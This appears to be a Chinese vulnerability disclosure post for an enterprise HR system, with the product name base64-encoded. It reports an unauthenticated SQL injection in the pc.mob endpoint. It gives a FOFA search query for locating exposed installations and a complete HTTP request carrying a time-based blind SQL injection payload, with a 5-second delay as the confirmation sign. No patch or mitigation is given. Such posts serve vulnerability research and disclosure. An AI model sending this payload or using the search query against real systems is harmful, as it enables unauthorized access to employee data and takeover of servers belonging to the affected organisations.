0x01 产品简介

57qi5rW35LqRZUhS是大中型企业广泛采用人力资源管理系统。某云是国内顶尖的HR软件供应商，是新一代eHR系统的领导者。

0x02 漏洞概述

57qi5rW35LqRZUhS pc.mob 接口存在SQL注入漏洞，未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

0x03 复现环境

FOFA：body="/RedseaPlatform/skins/images/favicon.ico"

0x04 漏洞复现

PoC

GET /RedseaPlatform/goApp/pc.mob?id=1{
  {urlescape(' AND (SELECT 4509 FROM (SELECT(SLEEP(5)))eUlE) AND 'nPiP'='nPiP)}} HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/41.0.887.0 Safari/532.1
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

延时5秒